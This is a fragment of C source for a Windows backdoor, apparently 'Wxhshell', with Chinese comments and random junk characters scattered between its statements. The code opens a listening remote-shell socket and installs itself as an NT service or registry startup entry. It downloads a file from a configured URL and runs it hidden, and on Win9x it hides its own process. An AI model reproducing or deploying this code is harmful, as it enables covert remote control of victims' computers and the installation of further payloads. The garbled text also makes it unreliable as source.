4M if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |C;=-| 0U(@=7V CloseHandle(hProcess); (Du@ S :j9l"5" hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~rE|%o if(hProcess==NULL) return 0; *KZYv=s,u =V,mtT HMODULE hMod; U2tV4_ e char procName[255]; 1y4|{7bb unsigned long cbNeeded; {NmWQyEv \+oQd=K@ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
acajHs ="1Ind@w!
CloseHandle(hProcess); zsEc( tzWSA-Li if(strstr(procName,"services")) return 1; // 以服务启动 <$A #vz7y(v return 0; // 注册表启动 |sJ[0z } qTRsZz@ Maha$n* // 主模块 tVYF{3BhA int StartWxhshell(LPSTR lpCmdLine) Dzpq_F!;V { s[RAHU SOCKET wsl; .9/hHCp BOOL val=TRUE; rT=rrvV3g int port=0; {g'(~ qv struct sockaddr_in door; <prk8jSWV OZb-:!m* if(wscfg.ws_autoins) Install(); FZ{h?#2? [SjqOTon{ port=atoi(lpCmdLine); jnkR}wAA (+w*[qHe if(port<=0) port=wscfg.ws_port; h"[AOfTE$ MD}w Y><C WSADATA data; f&NgS+<K$ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =J]&c?I ,Q3T
Tno
, if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 9a[9i}_ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m<<+ door.sin_family = AF_INET; ?(@
7r_j door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6+:iy'- door.sin_port = htons(port); ~dyTVJ$ bbDZ#DK" if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8 `v-<J closesocket(wsl); n2"a{Ofhlf return 1; gldAP: } +C^nO=[E _>o:R$ %} if(listen(wsl,2) == INVALID_SOCKET) { l]
K3Y\#bP closesocket(wsl); {X!r8i return 1; =}<IfNA } 3<e=g)F Wxhshell(wsl); Yj<a"
Gr4[ WSACleanup(); 7m47rJyW4 bt@<
ut\ return 0; vOH4# XnH05LQ } 3p$?,0ELH i7CX65&b // 以NT服务方式启动 0.Q
Ujw VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %HhBt5w { ,5P0S0*{ DWORD status = 0; +N]J5Ve-`t DWORD specificError = 0xfffffff; +WZX.D k`cfG\;r serviceStatus.dwServiceType = SERVICE_WIN32; ^L,K& Jd serviceStatus.dwCurrentState = SERVICE_START_PENDING; =bAx,,D# serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]"pVj6O serviceStatus.dwWin32ExitCode = 0; +X\FBvP& serviceStatus.dwServiceSpecificExitCode = 0; dUD[e,? serviceStatus.dwCheckPoint = 0; WSPI|#Xr% serviceStatus.dwWaitHint = 0; "syI#U{ xf'V{9* hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ky`qskvu if (hServiceStatusHandle==0) return; m=1N>cq
' w$>u b@= status = GetLastError(); 8:q1~`?5"b if (status!=NO_ERROR) %6t:(z { #]-SJWf3 serviceStatus.dwCurrentState = SERVICE_STOPPED; ;'gWu serviceStatus.dwCheckPoint = 0; xW+6qtG` serviceStatus.dwWaitHint = 0; p0]=QH serviceStatus.dwWin32ExitCode = status; mwO6g~@` serviceStatus.dwServiceSpecificExitCode = specificError; ^23~ZHu SetServiceStatus(hServiceStatusHandle, &serviceStatus); m%0p\Y-/ return; I<DL=V } 7:e{;iG ynp 8rf serviceStatus.dwCurrentState = SERVICE_RUNNING; YByLoM* serviceStatus.dwCheckPoint = 0; Q1lyj7c#x serviceStatus.dwWaitHint = 0; M+oHtX$ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pP1|&`}ux } ,S\CC{! S0$8@"~= // 处理NT服务事件,比如:启动、停止 y1z4ik)Sd@ VOID WINAPI NTServiceHandler(DWORD fdwControl) hy9\57_# { 1l9G[o
* switch(fdwControl) [=C6U_vU { v<k?Vu case SERVICE_CONTROL_STOP: 4a&RYx serviceStatus.dwWin32ExitCode = 0; 2bz2KB5> serviceStatus.dwCurrentState = SERVICE_STOPPED; //B&k`u serviceStatus.dwCheckPoint = 0; -$\y_?} serviceStatus.dwWaitHint = 0; &.3"Uo\# { &*o=I|pQ SetServiceStatus(hServiceStatusHandle, &serviceStatus); }ZYd4h|g\z } 3s*mbk[J return; `4r 3l S case SERVICE_CONTROL_PAUSE: _9ao?: serviceStatus.dwCurrentState = SERVICE_PAUSED; @?ebuj5{e break; ]IaMp788 case SERVICE_CONTROL_CONTINUE: ~"gA,e-) serviceStatus.dwCurrentState = SERVICE_RUNNING; "2!&5s,1p break; C-xr"]#] case SERVICE_CONTROL_INTERROGATE: @b\$ yB@z break; 1> ?M>vK }; $yP*jO4i SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5; C| } VCYwzB ,};&tR // 标准应用程序主函数 #-rH1h3*q int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Fk7?xc { "> ypIR< $L`d&$Vh // 获取操作系统版本 8H[<X_/ke OsIsNt=GetOsVer(); Y+pHd\$-4 GetModuleFileName(NULL,ExeFile,MAX_PATH); TT%M'5& _IMW{ // 从命令行安装 YO`]UQ|dc if(strpbrk(lpCmdLine,"iI")) Install(); Brw@g8w-X D'>_I. // 下载执行文件 kb%;=t2 if(wscfg.ws_downexe) { A.F%Ycq if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
IuDS*/Sx WinExec(wscfg.ws_filenam,SW_HIDE); #&+{mCjs } T}Tp$.gB 85= )lu
if(!OsIsNt) { rCEyQ)R_} // 如果时win9x,隐藏进程并且设置为注册表启动 !"AvY y9 HideProc(); m~BAyk^jo3 StartWxhshell(lpCmdLine); TJd)K$O> } .D~;u-%|F else 8bGd} ( if(StartFromService()) Mc
lkEfn // 以服务方式启动 W_293["lS StartServiceCtrlDispatcher(DispatchTable); S)(.,x else Ng&%o // 普通方式启动 -
nm"of\o StartWxhshell(lpCmdLine); 2YL?,uLS eSn+ B;
return 0; 1y&\5kB }
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